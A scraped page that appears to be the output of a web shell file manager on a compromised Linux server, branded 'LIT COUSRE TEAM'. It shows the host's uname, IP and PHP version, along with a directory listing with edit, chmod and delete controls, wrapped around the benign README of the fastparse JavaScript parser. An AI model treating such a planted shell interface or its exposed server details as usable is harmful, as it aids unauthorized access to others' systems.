LIT COUSRE TEAM

Uname	: Linux hebron 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
Software	: Apache
PHP	: 5.5.9-1ubuntu4.29
IP Server	: 151.236.222.163
Port	: io.eteclab.net:80
Mail	: ON

README.md

# fastparse

A very simple and stupid parser, based on a statemachine and regular expressions.

It's not intended for complex languages. It's intended to easily write a simple parser for a simple language.

## Usage

Pass a description of statemachine to the constructor. The description must be in this form:

``` javascript
new Parser(description)

description is {
	// The key is the name of the state
	// The value is an object containing possible transitions
	"state-name": {
		// The key is a regular expression
		// If the regular expression matches the transition is executed
		// The value can be "true", a other state name or a function

"a": true,
		// true will make the parser stay in the current state
		
		"b": "other-state-name",
		// a string will make the parser transit to a new state
		
		"[cde]": function(match, index, matchLength) {
			// "match" will be the matched string
			// "index" will be the position in the complete string
			// "matchLength" will be "match.length"
			
			// "this" will be the "context" passed to the "parse" method"
			
			// A new state name (string) can be returned
			return "other-state-name";
		},
		
		"([0-9]+)(\\.[0-9]+)?": function(match, first, second, index, matchLength) {
			// groups can be used in the regular expression
			// they will match to arguments "first", "second"
		},
		
		// the parser stops when it cannot match the string anymore
		
		// order of keys is the order in which regular expressions are matched
		// if the javascript runtime preserves the order of keys in an object
		// (this is not standardized, but it's a de-facto standard)
	}
}
```

The statemachine is compiled down to a single regular expression per state. So basically the parsing work is delegated to the (native) regular expression logic of the javascript runtime.

``` javascript
Parser.prototype.parse(initialState: String, parsedString: String, context: Object)
```

`initialState`: state where the parser starts to parse.

`parsedString`: the string which should be parsed.

`context`: an object which can be used to save state and results. Available as `this` in transition functions.

returns `context`

## Example

``` javascript
var Parser = require("fastparse");

// A simple parser that extracts @licence ... from comments in a JS file
var parser = new Parser({
	// The "source" state
	"source": {
		// matches comment start
		"/\\*": "comment",
		"//": "linecomment",
		
		// this would be necessary for a complex language like JS
		// but omitted here for simplicity
		// "\"": "string1",
		// "\'": "string2",
		// "\/": "regexp"
		
	},
	// The "comment" state
	"comment": {
		"\\*/": "source",
		"@licen[cs]e\\s((?:[^*\n]|\\*+[^*/\n])*)": function(match, licenseText) {
			this.licences.push(licenseText.trim());
		}
	},
	// The "linecomment" state
	"linecomment": {
		"\n": "source",
		"@licen[cs]e\\s(.*)": function(match, licenseText) {
			this.licences.push(licenseText.trim());
		}
	}
});

var licences = parser.parse("source", sourceCode, { licences: [] }).licences;

console.log(licences);
```

## License

MIT (http://www.opensource.org/licenses/mit-license.php)

	: Add Folder
	: Add File
	: Edit File
	: Rename
	: Chmod
	: Delete

Name	Type	Size	Permission	Last Modified	Actions
.	dir	-	0755	2021-11-10 09:12:32	Buat Folder Buat File Info
..	dir	-	0755	2021-11-10 09:12:50
lib	dir	-	0755	2021-11-10 09:12:32	rename chmod hapus
test	dir	-	0755	2021-11-10 09:12:32	rename chmod hapus
.eslintrc	text/plain	101 B	0644	2015-04-24 06:02:50	edit rename chmod hapus
.npmignore	text/plain	22 B	0644	2015-05-14 03:53:55	edit rename chmod hapus
.travis.yml	text/plain	293 B	0644	2015-05-14 03:52:37	edit rename chmod hapus
README.md	text/plain	3.19 KB	0644	2015-05-24 08:14:54	edit rename chmod hapus
package.json	text/plain	2.7 KB	0644	2017-03-03 05:01:29	edit rename chmod hapus